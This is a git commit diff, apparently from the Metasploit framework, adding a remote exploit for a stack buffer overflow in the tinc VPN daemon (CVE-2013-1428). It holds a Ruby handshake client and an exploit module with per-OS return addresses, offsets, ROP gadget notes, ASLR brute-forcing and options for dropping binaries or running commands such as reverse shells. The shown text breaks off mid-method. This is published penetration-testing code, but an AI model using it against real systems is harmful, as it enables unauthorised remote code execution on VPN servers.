Land #2756, tincd post-auth BOF exploit
commit
394d132d33
|
@ -59,6 +59,7 @@ require 'msf/core/exploit/wdbrpc_client'
|
|||
require 'msf/core/exploit/afp'
|
||||
require 'msf/core/exploit/realport'
|
||||
require 'msf/core/exploit/sip'
|
||||
require 'msf/core/exploit/tincd'
|
||||
|
||||
# Telephony
|
||||
require 'msf/core/exploit/dialup'
|
||||
|
|
|
@ -0,0 +1,341 @@
|
|||
require 'msf/core'
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
||||
require 'securerandom'
|
||||
require 'openssl'
|
||||
require 'digest/sha1'
|
||||
|
||||
module Msf
|
||||
# This module does a handshake with a tincd server and sends one padded packet
|
||||
# Author: Tobias Ospelt <tobias at modzero dot ch> @floyd_ch
|
||||
module Exploit::Remote::TincdExploitClient
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
BF_BLOCKSIZE = 64 / 8
|
||||
BF_KEY_LEN = 16
|
||||
BF_IV_LEN = 8
|
||||
|
||||
#
|
||||
# Module options
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
[Opt::RPORT(655),
|
||||
# As this is only for post-auth exploits, you should know the value of the
|
||||
# following variables by simply checking
|
||||
# your configuration.
|
||||
OptPath.new('SERVER_PUBLIC_KEY_FILE', [true, 'Server\'s public key', '']),
|
||||
OptPath.new('CLIENT_PRIVATE_KEY_FILE', [true, 'Client private key', '']),
|
||||
# You should see CLIENT_NAME in cleartext in the first message to the
|
||||
# server by your usual tinc client (tcpdump or
|
||||
# wireshark it: e.g. "0 home 17.0", so it's "home"). On the server,
|
||||
# this is located in the config folder, e.g. in FreeBSD
|
||||
# there is the client public key file /usr/local/etc/tinc/hosts/home
|
||||
# for the client "home"
|
||||
# If you don't have a clue, maybe just try the filename of your private
|
||||
# key without file extension
|
||||
OptString.new('CLIENT_NAME', [true, 'Your client name (pre-shared with server)' , ''])
|
||||
], self
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# Setting up variables and calling cipher inits with file paths from configuration
|
||||
#
|
||||
def setup_ciphers
|
||||
@state = :id_state
|
||||
@buffer = ''
|
||||
@inbuffer = ''
|
||||
@encryption_queue = []
|
||||
|
||||
@packet_payload = nil
|
||||
@keep_reading_socket = false
|
||||
|
||||
@server_key_len = nil
|
||||
@client_key_len = nil
|
||||
@client_private_key_cipher = nil
|
||||
@hex_enc_key_s1 = nil
|
||||
@bf_enc_cipher = nil
|
||||
init_ciphers(datastore['SERVER_PUBLIC_KEY_FILE'], datastore['CLIENT_PRIVATE_KEY_FILE'])
|
||||
vprint_status('Ciphers locally initalized, private key and public key files seem to be ok')
|
||||
@bf_dec_cipher = nil
|
||||
end
|
||||
|
||||
#
|
||||
# The main method that will be called that will call other methods to send first message
|
||||
# and continously read from socket and ensures TCP disconnect at the end
|
||||
#
|
||||
def send_recv(packet_payload)
|
||||
@packet_payload = packet_payload
|
||||
@keep_reading_socket = true
|
||||
connect
|
||||
begin
|
||||
# send the first message
|
||||
id
|
||||
# Condition to get out of the while loop: ack_state to false. Unsafe? Maybe a timeout?
|
||||
while @keep_reading_socket
|
||||
process_data(sock.get_once)
|
||||
end
|
||||
rescue Errno::ECONNRESET
|
||||
if @state == :metakey_state
|
||||
fail 'Server reset the connection. Probably rejecting ' +
|
||||
'the private key and/or client name (e.g. client name not associated ' +
|
||||
'with client public key on server side). ' +
|
||||
'Wrong server public key possible too. ' +
|
||||
'Please recheck client name, client private key and ' +
|
||||
'server public key.'
|
||||
else
|
||||
fail 'Server reset the connection, reason unknown.'
|
||||
end
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Reading of certificate files and parsing them, generation of random keys
|
||||
# and intialization of OFB mode blowfish cipher
|
||||
#
|
||||
def init_ciphers(server_file, client_file)
|
||||
server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
|
||||
@server_key_len = server_public_key_cipher.n.num_bytes
|
||||
@client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file))
|
||||
@client_key_len = @client_private_key_cipher.n.num_bytes
|
||||
vprint_status("Our private key length is #{@client_key_len}, expecting same length for metakey and challenge")
|
||||
vprint_status("Server's public key length is #{@server_key_len}, sending same metakey and challenge length")
|
||||
|
||||
# we don't want this to happen here:
|
||||
# `public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError)
|
||||
# simple solution: choose the key_s1 with a leading zero byte
|
||||
key_s1 = "\x00"+SecureRandom.random_bytes(@server_key_len-1)
|
||||
enc_key_s1 = server_public_key_cipher.public_encrypt(key_s1, OpenSSL::PKey::RSA::NO_PADDING)
|
||||
|
||||
@hex_enc_key_s1 = enc_key_s1.unpack('H*')[0]
|
||||
|
||||
offset_key = @server_key_len - BF_KEY_LEN
|
||||
offset_iv = @server_key_len - BF_KEY_LEN - BF_IV_LEN
|
||||
bf_enc_key = key_s1[offset_key...@server_key_len]
|
||||
bf_enc_iv = key_s1[offset_iv...offset_key]
|
||||
|
||||
@bf_enc_cipher = OpenSSL::Cipher::Cipher.new('BF-OFB')
|
||||
@bf_enc_cipher.encrypt
|
||||
@bf_enc_cipher.key = bf_enc_key
|
||||
@bf_enc_cipher.iv = bf_enc_iv
|
||||
|
||||
# #Looks like ruby openssl supports other lengths than multiple of 8!
|
||||
# test = @bf_enc_cipher.update('A'*10)
|
||||
# test << @bf_enc_cipher.final
|
||||
# puts "Testing cipher: "+test.unpack('H*')[0]
|
||||
end
|
||||
|
||||
#
|
||||
# Depending on the state of the protocol handshake and the data we get back
|
||||
# from the server, this method will decide which message has to be sent next
|
||||
#
|
||||
def process_data(data)
|
||||
@inbuffer += data if data
|
||||
case @state
|
||||
when :id_state
|
||||
if line?
|
||||
data = read_line
|
||||
vprint_status("Received ID from server: [#{data[0..30]}]")
|
||||
@state = :metakey_state
|
||||
# next expected state
|
||||
metakey
|
||||
end
|
||||
when :metakey_state
|
||||
if line?
|
||||
data = read_line
|
||||
vprint_status("Received Metakey from server: [#{data[0..30]}...]")
|
||||
data = data.split(' ')
|
||||
fail 'Error in protocol. The first byte should be an ASCII 1.' unless data.first == '1'
|
||||
hexkey_s2 = data[5].rstrip # ("\n")
|
||||
fail "Error in protocol. metakey length should be #{@client_key_len}." unless hexkey_s2.length == @client_key_len * 2
|
||||
@enckey_s2 = [hexkey_s2].pack('H*')
|
||||
key_s2 = @client_private_key_cipher.private_decrypt(@enckey_s2, OpenSSL::PKey::RSA::NO_PADDING)
|
||||
|
||||
# metakey setup according to protocol_auth.c
|
||||
# if(!EVP_DecryptInit(c->inctx, c->incipher,
|
||||
# (unsigned char *)c->inkey + len - c->incipher->key_len, # <--- KEY pointer
|
||||
# (unsigned char *)c->inkey + len - c->incipher->key_len - c->incipher->iv_len # <--- IV pointer
|
||||
# ))
|
||||
offset_key = @client_key_len - BF_KEY_LEN
|
||||
offset_iv = @client_key_len - BF_KEY_LEN - BF_IV_LEN
|
||||
bf_dec_key = key_s2[offset_key...@client_key_len]
|
||||
bf_dec_iv = key_s2[offset_iv...offset_key]
|
||||
|
||||
@bf_dec_cipher = OpenSSL::Cipher::Cipher.new 'BF-OFB'
|
||||
@bf_dec_cipher.encrypt
|
||||
@bf_dec_cipher.key = bf_dec_key
|
||||
@bf_dec_cipher.iv = bf_dec_iv
|
||||
# don't forget, it *does* matter if you do a
|
||||
# @bf_dec_cipher.reset or not, we're in OFB mode. DON'T.
|
||||
vprint_status('Metakey handshake/exchange completed')
|
||||
@state = :challenge_state
|
||||
challenge
|
||||
end
|
||||
when :challenge_state
|
||||
need_len = 2 * @client_key_len + 3
|
||||
if @inbuffer.length >= need_len
|
||||
data = pop_inbuffer_and_decrypt(need_len)
|
||||
vprint_status("Received challenge from server: " +
|
||||
"[#{data.unpack('H*')[0][0..30]}...]")
|
||||
data = data.split(' ', 2)
|
||||
fail 'Error in protocol. The first byte should be an ASCII 2. Got #{data[0]}.' unless data.first == '2'
|
||||
challenge2 = data[1][0...2 * @client_key_len]
|
||||
challenge2 = [challenge2].pack('H*')
|
||||
fail "Error in protocol. challenge2 length should be #{@client_key_len}." unless challenge2.length == @client_key_len
|
||||
@state = :challenge_reply_state
|
||||
challenge_reply(challenge2)
|
||||
end
|
||||
when :challenge_reply_state
|
||||
need_len = 43
|
||||
if @inbuffer.length >= need_len
|
||||
data = pop_inbuffer_and_decrypt(need_len)
|
||||
vprint_status("Received challenge reply from server:" +
|
||||
" [#{data.unpack('H*')[0][0..30]}...]")
|
||||
@state = :ack_state
|
||||
ack
|
||||
end
|
||||
when :ack_state
|
||||
need_len = 12
|
||||
if @inbuffer.length >= need_len
|
||||
data = pop_inbuffer_and_decrypt(need_len)
|
||||
vprint_status("Received ack (server accepted challenge response):" +
|
||||
"[#{data.unpack('H*')[0][0..30]}...]")
|
||||
@state = :done_state
|
||||
send_packet
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Encryption queue where waiting data gets encrypted and afterwards
|
||||
# the remaining messages get sent
|
||||
#
|
||||
def handle_write
|
||||
# handle encryption queue first
|
||||
unless @encryption_queue.empty?
|
||||
msg = @encryption_queue[0]
|
||||
@encryption_queue.delete_at(0)
|
||||
@buffer = @bf_enc_cipher.update(msg)
|
||||
@buffer << @bf_enc_cipher.final
|
||||
# DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
|
||||
# the resulting block is used to encrypt the next block.
|
||||
end
|
||||
|
||||
unless @buffer.empty?
|
||||
sent = send_data(@buffer)
|
||||
vprint_status("Sent #{sent} bytes: " +
|
||||
"[#{@buffer.unpack('H*')[0][0..30]}...]")
|
||||
@buffer = @buffer[sent..@buffer.length]
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Simple socket put/write
|
||||
#
|
||||
def send_data(buf)
|
||||
sock.put(buf)
|
||||
end
|
||||
|
||||
#
|
||||
# Decryption method to process data sent by server
|
||||
#
|
||||
def pop_inbuffer_and_decrypt(size)
|
||||
# In ruby openssl OFM works not only on full blocks, but also on
|
||||
# parts. Therefore no worries like in pycrypto and no
|
||||
# modified decrypt routine, simply use the cipher as is.
|
||||
data = @bf_dec_cipher.update(@inbuffer.slice!(0, size))
|
||||
data << @bf_dec_cipher.final
|
||||
# DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
|
||||
# the resulting block is used to decrypt the next block.
|
||||
end
|
||||
|
||||
#
|
||||
# Read up to the next newline from the data the server sent
|
||||
#
|
||||
def read_line
|
||||
idx = @inbuffer.index("\n")
|
||||
data = @inbuffer.slice!(0, idx)
|
||||
@inbuffer.lstrip!
|
||||
data
|
||||
end
|
||||
|
||||
#
|
||||
# Check if we already received a newline, meaning we got an
|
||||
# entire message for the next protocol step
|
||||
#
|
||||
def line?
|
||||
!!(@inbuffer.match("\n"))
|
||||
end
|
||||
|
||||
#
|
||||
# Start message method after TCP handshake
|
||||
#
|
||||
def id
|
||||
msg = "0 #{datastore['CLIENT_NAME']} 17.0\n"
|
||||
vprint_status("Sending ID (cleartext): [#{msg.gsub("\n", '')}]")
|
||||
@buffer += msg
|
||||
handle_write
|
||||
end
|
||||
|
||||
#
|
||||
# Sending metakey (transferring a symmetric key that will get encrypted with
|
||||
# public key before beeing sent to the server)
|
||||
#
|
||||
def metakey
|
||||
msg = "1 94 64 0 0 #{@hex_enc_key_s1}\n"
|
||||
vprint_status("Sending metakey (cleartext): [#{msg[0..30]}...]")
|
||||
@buffer += msg
|
||||
handle_write
|
||||
end
|
||||
|
||||
#
|
||||
# Send challenge random bytes
|
||||
#
|
||||
def challenge
|
||||
vprint_status('Sending challenge (ciphertext)')
|
||||
challenge = SecureRandom.random_bytes(@server_key_len)
|
||||
msg = "2 #{challenge.unpack('H*')[0]}\n"
|
||||
@encryption_queue.push(msg)
|
||||
handle_write
|
||||
end
|
||||
|
||||
#
|
||||
# Reply to challenge that was sent by server
|
||||
#
|
||||
def challenge_reply(challenge2)
|
||||
vprint_status('Sending challenge reply (ciphertext)')
|
||||
h = Digest::SHA1.hexdigest(challenge2)
|
||||
msg = "3 #{h.upcase}\n"
|
||||
@encryption_queue.push(msg)
|
||||
handle_write
|
||||
end
|
||||
|
||||
#
|
||||
# Ack state to signalise challenge/response was successfull
|
||||
#
|
||||
def ack
|
||||
vprint_status('Sending ack (signalise server that we accept challenge' +
|
||||
'reply, ciphertext)')
|
||||
@encryption_queue.push("4 #{datastore['RPORT']} 123 0 \n")
|
||||
handle_write
|
||||
end
|
||||
|
||||
#
|
||||
# Sending a packet inside the VPN connection after successfull protocol setup
|
||||
#
|
||||
def send_packet
|
||||
vprint_status('Protocol finished setup. Going to send packet.')
|
||||
msg = "17 #{@packet_payload.length}\n#{@packet_payload}"
|
||||
plen = BF_BLOCKSIZE - (msg.length % BF_BLOCKSIZE)
|
||||
# padding
|
||||
msg += 'B' * plen
|
||||
@encryption_queue.push(msg)
|
||||
@keep_reading_socket = false
|
||||
handle_write
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,527 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'securerandom'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::TincdExploitClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Tincd Post-Authentication Remote TCP Stack Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in Tinc's tincd
|
||||
service. After authentication, a specially crafted tcp packet (default port 655)
|
||||
leads to a buffer overflow and allows to execute arbitrary code. This module has
|
||||
been tested with tinc-1.1pre6 on Windows XP (custom calc payload) and Windows 7
|
||||
(windows/meterpreter/reverse_tcp), and tinc version 1.0.19 from the ports of
|
||||
FreeBSD 9.1-RELEASE # 0 and various other OS, see targets. The exploit probably works
|
||||
for all versions <= 1.1pre6.
|
||||
A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to
|
||||
be a non-exploitable crash due to calls to __memcpy_chk depending on how tincd
|
||||
was compiled. Bug got fixed in version 1.0.21/1.1pre7. While writing this module
|
||||
it was recommended to the maintainer to start using DEP/ASLR and other protection
|
||||
mechanisms.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
# PoC changes (mostly reliability), port python to ruby, exploitation including ROP, support for all OS, metasploit module
|
||||
'Tobias Ospelt <tobias[at]modzero.ch>', # @floyd_ch
|
||||
# original finding, python PoC crash
|
||||
'Martin Schobert <schobert[at]modzero.ch>' # @nitram2342
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2013-1428'],
|
||||
['OSVDB', '92653'],
|
||||
['BID', '59369'],
|
||||
['URL', 'http://www.floyd.ch/?p=741'],
|
||||
['URL', 'http://sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/'],
|
||||
['URL', 'http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1428']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1675,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Privileged' => true,
|
||||
'Targets' =>
|
||||
[
|
||||
# full exploitation x86:
|
||||
['Windows XP x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
|
||||
['Windows 7 x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
|
||||
['FreeBSD 9.1-RELEASE # 0 x86, tinc 1.0.19 (ports)', { 'Platform' => 'bsd', 'Ret' => 0x0804BABB, 'offset' => 1676 }],
|
||||
['Fedora 19 x86 ROP (NX), write binary to disk payloads, tinc 1.0.20 (manual compile)', {
|
||||
'Platform' => 'linux', 'Arch' => ARCH_X86, 'Ret' => 0x4d10ee87, 'offset' => 1676 }
|
||||
],
|
||||
['Fedora 19 x86 ROP (NX), CMD exec payload, tinc 1.0.20 (manual compile)', {
|
||||
'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Ret' => 0x4d10ee87, 'offset' => 1676 }
|
||||
],
|
||||
['Archlinux 2013.04.01 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x08065929, 'offset' => 1676 }],
|
||||
['OpenSuse 11.2 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0804b07f, 'offset' => 1676 }],
|
||||
# full exploitation ARM:
|
||||
['Pidora 18 ARM ROP(NX)/ASLR brute force, write binary to disk payloads, tinc 1.0.20 (manual compile with restarting daemon)', {
|
||||
'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Ret' => 0x00015cb4, 'offset' => 1668 }
|
||||
],
|
||||
['Pidora 18 ARM ROP(NX)/ASLR brute force, CMD exec payload, tinc 1.0.20 (manual compile with restarting daemon)', {
|
||||
'Platform' => 'linux', 'Arch' => ARCH_CMD, 'Ret' => 0x00015cb4, 'offset' => 1668 }
|
||||
],
|
||||
# crash only:
|
||||
['Crash only: Ubuntu 12.10 x86, tinc 1.1.pre6 (apt-get or manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
|
||||
['Crash only: Fedora 16 x86, tinc 1.0.19 (yum)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
|
||||
['Crash only: OpenSuse 11.2 x86, tinc 1.0.16 (rpm package)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
|
||||
['Crash only: Debian 7.3 ARM, tinc 1.0.19 (apt-get)', { 'Platform' => 'linux', 'Ret' => 0x9000, 'offset' => 1668 }]
|
||||
],
|
||||
'DisclosureDate' => 'Apr 22 2013', # finding, msf module: Dec 2013
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[ # Only for shellcodes that write binary to disk
|
||||
# Has to be short, usually either . or /tmp works
|
||||
# /tmp could be mounted as noexec
|
||||
# . is usually only working if tincd is running as root
|
||||
OptString.new('BINARY_DROP_LOCATION', [false, 'Short location to drop executable on server, usually /tmp or .', '/tmp']),
|
||||
OptInt.new('BRUTEFORCE_TRIES', [false, 'How many brute force tries (ASLR brute force)', 200]),
|
||||
OptInt.new('WAIT', [false, 'Waiting time for server daemon restart (ASLR brute force)', 3])
|
||||
], self
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
# #
|
||||
# x86
|
||||
# #
|
||||
# WINDOWS XP and 7 full exploitation
|
||||
# Simple, we only need some mona.py magic
|
||||
# C:\Program Files\tinc>"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" "C:\Program Files\tinc\tincd.exe -D -d 5"
|
||||
# !mona config -set workingfolder c:\logs\%p
|
||||
# !mona pc 1682
|
||||
# --> C:\logs\tincd\pattern
|
||||
# !mona findmsp
|
||||
# Straight forward, when we overwrite EIP the second value
|
||||
# on the stack is pointing to our payload.
|
||||
# !mona findwild -o -type instr -s "pop r32# ret"
|
||||
|
||||
# FREEBSD full exploitation
|
||||
# Same offset as windows, same exploitation method
|
||||
# But we needed a new pop r32# ret for the freebsd version
|
||||
# No mona.py help on bsd or linux so:
|
||||
# - Dumped .text part of tincd binary in gdb
|
||||
# - Search in hex editor for opcodes for "pop r32# ret":
|
||||
# 58c3, 59c3, ..., 5fc3
|
||||
# - Found a couple of 5dc3. ret = start of .text + offset in hex editor
|
||||
# - 0x0804BABB works very well
|
||||
|
||||
# UBUNTU crash only
|
||||
# Manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because
|
||||
# the bug is in a fixed size (MAXSIZE) struct member variable. The size of the destination is known
|
||||
# at compile time. gcc is introducing a call to __memcpy_chk:
|
||||
# http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c
|
||||
# memcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print
|
||||
# *** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 which can be installed
|
||||
# from the repository. It might be exploitable for versions compiled with an older version of gcc.
|
||||
# memcpy_chk seems to be in gcc since 2005:
|
||||
# http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c
|
||||
# http://gcc.gnu.org/git/?p=gcc.git;a=history;f=libssp/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088
|
||||
|
||||
# OPENSUSE
|
||||
# OpenSuse 11.2
|
||||
# Installation as described on the tincd website. For 11.2 there are two versions.
|
||||
# Decided for 1.0.16 as this is a vulnerable version
|
||||
# wget "http://download.opensuse.org/repositories/home:/seilerphilipp/SLE_11_SP2/i586/tinc-1.0.16-3.1.i586.rpm"
|
||||
# rpm -i tinc-1.0.16-3.1.i586.rpm
|
||||
# Again, strace shows us that the buffer overflow was detected (see Ubuntu)
|
||||
# writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51
|
||||
# So a crash-only non-exploitable bof here. So let's go for manual install:
|
||||
# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'
|
||||
# yast -i gcc zlib zlib-devel && echo "yast is still ugly" && zypper install lzo-devel libopenssl-devel make && make && make install
|
||||
# Exploitable. Let's see:
|
||||
# tincd is mapped at 0x8048000. There is a 5d3c at offset 307f in the tincd binary. this means:
|
||||
# the offset to pop ebp; ret is 0x0804b07f
|
||||
|
||||
# FEDORA
|
||||
# Fedora 16
|
||||
# yum has version 1.0.19
|
||||
# yum install tinc
|
||||
# Non-exploitable crash, see Ubuntu. Strace tells us:
|
||||
# writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51
|
||||
# About yum: Fedora 17 has fixed version 1.0.21, Fedora 19 fixed version 1.0.23
|
||||
# Manual compile went on with Fedora 19
|
||||
# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'
|
||||
# yum install gcc zlib-devel.i686 lzo-devel.i686 openssl-devel.i686 && ./configure && make && make install
|
||||
# Don't forget to stop firewalld for testing, as the port is still closed otherwise
|
||||
# # hardening-check tincd
|
||||
# tincd:
|
||||
# Position Independent Executable: no, normal executable!
|
||||
# Stack protected: no, not found!
|
||||
# Fortify Source functions: no, only unprotected functions found!
|
||||
# Read-only relocations: yes
|
||||
# Immediate binding: no, not found!
|
||||
# Running this module with target set to Windows:
|
||||
# Program received signal SIGSEGV, Segmentation fault.
|
||||
# 0x0041caa6 in ?? ()
|
||||
# well and that's our windows offset...
|
||||
# (gdb) info proc mappings
|
||||
# 0x8048000 0x8068000 0x20000 0x0 /usr/local/sbin/tincd
|
||||
# After finding a normal 5DC3 (pop ebp# ret) at offset 69c3 of the binary we
|
||||
# can try to execute the payload on the stack, but:
|
||||
# (gdb) stepi
|
||||
# Program received signal SIGSEGV, Segmentation fault.
|
||||
# 0x08e8ee08 in ?? ()
|
||||
# Digging deeper we find:
|
||||
# dmesg | grep protection
|
||||
# [ 0.000000] NX (Execute Disable) protection: active
|
||||
# or:
|
||||
# # objdump -x /usr/local/sbin/tincd
|
||||
# [...] STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4
|
||||
# filesz 0x00000000 memsz 0x00000000 flags rw-
|
||||
# or: https://bugzilla.redhat.com/show_bug.cgi?id=996365
|
||||
# Time for ROP
|
||||
# To start the ROP we need a POP r32# POP ESP# RET (using the first four bytes of the shellcode
|
||||
# as a pointer to instructions). Was lucky after some searching:
|
||||
# (gdb) x/10i 0x4d10ee87
|
||||
# 0x4d10ee87: pop %ebx
|
||||
# 0x4d10ee88: mov $0xf5d299dd,%eax
|
||||
# 0x4d10ee8d: rcr %cl,%al
|
||||
# 0x4d10ee8f: pop %esp
|
||||
# 0x4d10ee90: ret
|
||||
|
||||
# ARCHLINUX
|
||||
# archlinux-2013.04.01 pacman has fixed version 1.0.23, so went for manual compile:
|
||||
# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'
|
||||
# pacman -S gcc zlib lzo openssl make && ./configure && make && make install
|
||||
# Offset in binary to 58c3: 0x1D929 + tincd is mapped at starting address 0x8048000
|
||||
# -->Ret: 0x8065929
|
||||
# No NX protection, it simply runs the shellcode :)
|
||||
|
||||
# #
|
||||
# ARM
|
||||
# #
|
||||
# ARM Pidora 18 (Raspberry Pi Fedora Remix) on a physical Raspberry Pi
|
||||
# Although this is more for the interested reader, as Pidora development
|
||||
# already stopped... Raspberry Pi's are ARM1176JZF-S (700 MHz) CPUs
|
||||
# meaning it's an ARMv6 architecture
|
||||
# yum has fixed version 1.0.21, so went for manual compile:
|
||||
# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'
|
||||
# yum install gdb gcc zlib-devel lzo-devel openssl-devel && ./configure && make && make install
|
||||
# Is the binary protected?
|
||||
# wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh
|
||||
# # ./checksec.sh --file /usr/local/sbin/tincd
|
||||
# RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
|
||||
# No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH /usr/local/sbin/tincd
|
||||
# so again NX... but what about the system things?
|
||||
# cat /proc/sys/kernel/randomize_va_space
|
||||
# 2
|
||||
# --> "Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment.
|
||||
# This is the default setting."
|
||||
# Here some examples of the address of the system function:
|
||||
# 0xb6c40848
|
||||
# 0xb6cdd848
|
||||
# 0xb6c7c848
|
||||
# Looks like we would have to brute force one byte
|
||||
# (gdb) info proc mappings
|
||||
# 0x8000 0x23000 0x1b000 0 /usr/local/sbin/tincd
|
||||
# 0x2b000 0x2c000 0x1000 0x1b000 /usr/local/sbin/tincd
|
||||
# When we exploit we get the following:
|
||||
# Program received signal SIGSEGV, Segmentation fault.
|
||||
# 0x90909090 in ?? ()
|
||||
# ok, finally a different offset to eip. Let's figure it out:
|
||||
# $ tools/pattern_create.rb 1676
|
||||
# Ok, pretty close, it's 1668. If we randomly choose ret as 0x9000 we get:
|
||||
# (gdb) break *0x9000
|
||||
# Breakpoint 1 at 0x9000
|
||||
# See that our shellcode is *on* the stack:
|
||||
# (gdb) x/10x $sp
|
||||
# 0xbee14308: 0x00000698 0x00000000 0x00000000 0x00000698
|
||||
# 0xbee14318: 0x31203731 0x0a323736 0xe3a00002 0xe3a01001 <-- 0xe3a00002 is the start of our shellcode
|
||||
# 0xbee14328: 0xe3a02006 0xe3a07001
|
||||
# let's explore the code we can reuse:
|
||||
# (gdb) info functions
|
||||
# objdump -d /usr/local/sbin/tincd >assembly.txt
|
||||
# while simply searching for the bx instruction we were not very lucky,
|
||||
# but searching for some "pop pc" it's easy to find nice gadgets.
|
||||
# we can write arguments to the .data section again:
|
||||
# 0x2b3f0->0x2b4ac at 0x0001b3f0: .data ALLOC LOAD DATA HAS_CONTENTS
|
||||
# The problem is we can not reliably forecast the system function's address, but it's
|
||||
# only one byte random, therefore we have to brute force it and/or find a memory leak.
|
||||
# Let's assume it's a restarting daemon:
|
||||
# create /etc/systemd/system/tincd.service and fill in Restart=restart-always
|
||||
|
||||
# ARM Debian Wheezy on qemu
|
||||
# root@debian:~# apt-cache showpkg tinc
|
||||
# Package: tinc
|
||||
# Versions:
|
||||
# 1.0.19-3 (/var/lib/apt/lists/ftp.halifax.rwth-aachen.de_debian_dists_wheezy_main_binary-armhf_Packages)
|
||||
# nice, that's vulnerable
|
||||
# apt-get install tinc
|
||||
# apt-get install elfutils && ln -s /usr/bin/eu-readelf /usr/bin/readelf
|
||||
# wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh
|
||||
# # ./checksec.sh --file /usr/sbin/tincd
|
||||
# RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
|
||||
# Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH /usr/sbin/tincd
|
||||
# Puh, doesn't look too good for us, NX enabled, Stack canary present and a partial RELRO, I'm not going to cover this one here
|
||||
|
||||
packet_payload = payload.encoded
|
||||
# Pidora and Fedora/ROP specific things
|
||||
if target.name =~ /Pidora 18/ || target.name =~ /Fedora 19/
|
||||
rop_generator = nil
|
||||
filename = rand_text_alpha(1)
|
||||
cd = "cd #{datastore['BINARY_DROP_LOCATION']};"
|
||||
cd = '' if datastore['BINARY_DROP_LOCATION'] == '.'
|
||||
|
||||
if target.name =~ /Pidora 18/
|
||||
print_status('Using ROP and brute force ASLR guesses to defeat NX/ASLR on ARMv6 based Pidora 18')
|
||||
print_status('This requires a restarting tincd daemon!')
|
||||
print_status('Warning: This is likely to get tincd into a state where it doesn\'t accept connections anymore')
|
||||
rop_generator = method(:create_pidora_rop)
|
||||
elsif target.name =~ /Fedora 19/
|
||||
print_status('Using ROP to defeat NX on Fedora 19')
|
||||
rop_generator = method(:create_fedora_rop)
|
||||
end
|
||||
|
||||
if target.arch.include? ARCH_CMD
|
||||
# The CMD payloads are a bit tricky on Fedora. As of december 2013
|
||||
# some of the generic unix payloads (e.g. reverse shell with awk) don't work
|
||||
# (even when executed directly in a terminal on Fedora)
|
||||
# use generic/custom and specify PAYLOADSTR without single quotes
|
||||
# it's usually sh -c *bla*
|
||||
packet_payload = create_fedora_rop(payload.encoded.split(' ', 3))
|
||||
else
|
